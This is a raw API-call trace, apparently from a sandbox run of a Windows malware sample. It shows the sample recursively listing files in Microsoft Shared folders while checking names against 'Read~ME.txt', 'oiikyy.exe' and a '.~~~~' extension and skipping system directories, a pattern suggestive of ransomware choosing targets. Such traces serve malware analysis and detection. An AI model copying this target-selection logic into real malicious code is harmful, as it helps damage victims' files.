	[0079.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0079.639] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.639] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.639] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.639] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.639] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.639] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.639] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.639] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.639] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.639] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.639] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.639] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.639] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1
	[0079.639] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="Windows") returned -1
	[0079.639] lstrcmpW (lpString1="VSTOInstallerUI.dll", lpString2="oiikyy.exe") returned 1
	[0079.639] StrStrW (lpFirst="VSTOInstallerUI.dll", lpSrch=".~~~~") returned 0x0
	[0079.640] lstrcmpW (lpString1="VSTOInstallerUI.dll", lpString2="Read~ME.txt") returned 1
	[0079.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.640] GetCurrentThreadId () returned 0x618
	[0079.640] RtlWakeConditionVariable () returned 0x365f48
	[0079.640] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0079.640] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="Windows") returned -1
	[0079.640] lstrcmpW (lpString1="VSTOLoaderUI.dll", lpString2="oiikyy.exe") returned 1
	[0079.640] StrStrW (lpFirst="VSTOLoaderUI.dll", lpSrch=".~~~~") returned 0x0
	[0079.640] lstrcmpW (lpString1="VSTOLoaderUI.dll", lpString2="Read~ME.txt") returned 1
	[0079.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.640] GetCurrentThreadId () returned 0x618
	[0079.640] RtlWakeConditionVariable () returned 0x365f48
	[0079.640] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0
	[0079.640] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0079.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.640] GetCurrentThreadId () returned 0x618
	[0079.640] RtlWakeConditionVariable () returned 0x365f48
	[0079.641] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1
	[0079.641] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="Windows") returned -1
	[0079.641] lstrcmpW (lpString1="VSTOInstaller.config", lpString2="oiikyy.exe") returned 1
	[0079.641] StrStrW (lpFirst="VSTOInstaller.config", lpSrch=".~~~~") returned 0x0
	[0079.641] lstrcmpW (lpString1="VSTOInstaller.config", lpString2="Read~ME.txt") returned 1
	[0079.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.641] GetCurrentThreadId () returned 0x618
	[0079.641] RtlWakeConditionVariable () returned 0x365f48
	[0079.641] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0079.641] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="Windows") returned -1
	[0079.641] lstrcmpW (lpString1="VSTOInstaller.exe", lpString2="oiikyy.exe") returned 1
	[0079.641] StrStrW (lpFirst="VSTOInstaller.exe", lpSrch=".~~~~") returned 0x0
	[0079.641] lstrcmpW (lpString1="VSTOInstaller.exe", lpString2="Read~ME.txt") returned 1
	[0079.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.641] GetCurrentThreadId () returned 0x618
	[0079.641] RtlWakeConditionVariable () returned 0x365f48
	[0079.641] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0079.641] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="Windows") returned -1
	[0079.641] lstrcmpW (lpString1="VSTOLoader.dll", lpString2="oiikyy.exe") returned 1
	[0079.641] StrStrW (lpFirst="VSTOLoader.dll", lpSrch=".~~~~") returned 0x0
	[0079.641] lstrcmpW (lpString1="VSTOLoader.dll", lpString2="Read~ME.txt") returned 1
	[0079.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.641] GetCurrentThreadId () returned 0x618
	[0079.642] RtlWakeConditionVariable () returned 0x365f48
	[0079.642] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1
	[0079.642] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="Windows") returned -1
	[0079.642] lstrcmpW (lpString1="VSTOMessageProvider.dll", lpString2="oiikyy.exe") returned 1
	[0079.642] StrStrW (lpFirst="VSTOMessageProvider.dll", lpSrch=".~~~~") returned 0x0
	[0079.642] lstrcmpW (lpString1="VSTOMessageProvider.dll", lpString2="Read~ME.txt") returned 1
	[0079.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.642] GetCurrentThreadId () returned 0x618
	[0079.642] RtlWakeConditionVariable () returned 0x365f48
	[0079.642] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0
	[0079.642] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.642] GetCurrentThreadId () returned 0x618
	[0079.642] RtlWakeConditionVariable () returned 0x365f48
	[0079.642] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0079.642] lstrcmpiW (lpString1="vstoee.dll", lpString2="Windows") returned -1
	[0079.642] lstrcmpW (lpString1="vstoee.dll", lpString2="oiikyy.exe") returned 1
	[0079.642] StrStrW (lpFirst="vstoee.dll", lpSrch=".~~~~") returned 0x0
	[0079.642] lstrcmpW (lpString1="vstoee.dll", lpString2="Read~ME.txt") returned 1
	[0079.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.643] GetCurrentThreadId () returned 0x618
	[0079.643] RtlWakeConditionVariable () returned 0x365f48
	[0079.643] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1
	[0079.643] lstrcmpiW (lpString1="vstoee100.tlb", lpString2="Windows") returned -1
	[0079.643] lstrcmpW (lpString1="vstoee100.tlb", lpString2="oiikyy.exe") returned 1
	[0079.643] StrStrW (lpFirst="vstoee100.tlb", lpSrch=".~~~~") returned 0x0
	[0079.643] lstrcmpW (lpString1="vstoee100.tlb", lpString2="Read~ME.txt") returned 1
	[0079.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.643] GetCurrentThreadId () returned 0x618
	[0079.643] RtlWakeConditionVariable () returned 0x365f48
	[0079.643] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1
	[0079.643] lstrcmpiW (lpString1="vstoee90.tlb", lpString2="Windows") returned -1
	[0079.643] lstrcmpW (lpString1="vstoee90.tlb", lpString2="oiikyy.exe") returned 1
	[0079.643] StrStrW (lpFirst="vstoee90.tlb", lpSrch=".~~~~") returned 0x0
	[0079.643] lstrcmpW (lpString1="vstoee90.tlb", lpString2="Read~ME.txt") returned 1
	[0079.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.643] GetCurrentThreadId () returned 0x618
	[0079.643] RtlWakeConditionVariable () returned 0x365f48
	[0079.643] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0
	[0079.643] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.644] GetCurrentThreadId () returned 0x618
	[0079.644] RtlWakeConditionVariable () returned 0x365f48
	[0079.644] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1
	[0079.644] lstrcmpiW (lpString1="Web Folders", lpString2="Windows") returned -1
	[0079.645] lstrcmpW (lpString1="Web Folders", lpString2=".") returned 1
	[0079.645] lstrcmpW (lpString1="Web Folders", lpString2="..") returned 1
	[0079.645] lstrcmpW (lpString1="Web Folders", lpString2="AppData") returned 1
	[0079.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", lpSrch="AppData") returned 0x0
	[0079.645] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.645] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", lpString2="C:\\Windows") returned -1
	[0079.645] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.645] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", lpString2="C:\\System Volume Information") returned -1
	[0079.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.647] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.647] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.647] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.647] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.647] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.647] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.647] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.647] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.647] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.647] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.647] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.647] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.647] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0079.647] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0079.647] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0079.647] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0079.647] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0079.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", lpSrch="AppData") returned 0x0
	[0079.647] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.647] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", lpString2="C:\\Windows") returned -1
	[0079.647] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.648] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033", lpString2="C:\\System Volume Information") returned -1
	[0079.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.648] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.648] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.649] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.649] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.649] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.649] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.649] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.649] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.649] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.649] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.649] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.649] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.649] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1
	[0079.649] lstrcmpiW (lpString1="MSOSVINT.DLL", lpString2="Windows") returned -1
	[0079.649] lstrcmpW (lpString1="MSOSVINT.DLL", lpString2="oiikyy.exe") returned -1
	[0079.649] StrStrW (lpFirst="MSOSVINT.DLL", lpSrch=".~~~~") returned 0x0
	[0079.649] lstrcmpW (lpString1="MSOSVINT.DLL", lpString2="Read~ME.txt") returned -1
	[0079.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.649] GetCurrentThreadId () returned 0x618
	[0079.650] RtlWakeConditionVariable () returned 0x365f48
	[0079.650] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0
	[0079.650] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.650] GetCurrentThreadId () returned 0x618
	[0079.650] RtlWakeConditionVariable () returned 0x365f48
	[0079.650] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1
	[0079.650] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="Windows") returned -1
	[0079.650] lstrcmpW (lpString1="MSOSV.DLL", lpString2="oiikyy.exe") returned -1
	[0079.650] StrStrW (lpFirst="MSOSV.DLL", lpSrch=".~~~~") returned 0x0
	[0079.650] lstrcmpW (lpString1="MSOSV.DLL", lpString2="Read~ME.txt") returned -1
	[0079.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.650] GetCurrentThreadId () returned 0x618
	[0079.650] RtlWakeConditionVariable () returned 0x365f48
	[0079.650] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0
	[0079.650] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.651] GetCurrentThreadId () returned 0x618
	[0079.651] RtlWakeConditionVariable () returned 0x365f48
	[0079.651] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0079.651] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Windows") returned -1
	[0079.651] lstrcmpW (lpString1="Web Server Extensions", lpString2=".") returned 1
	[0079.651] lstrcmpW (lpString1="Web Server Extensions", lpString2="..") returned 1
	[0079.651] lstrcmpW (lpString1="Web Server Extensions", lpString2="AppData") returned 1
	[0079.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", lpSrch="AppData") returned 0x0
	[0079.651] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.651] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", lpString2="C:\\Windows") returned -1
	[0079.651] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.651] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", lpString2="C:\\System Volume Information") returned -1
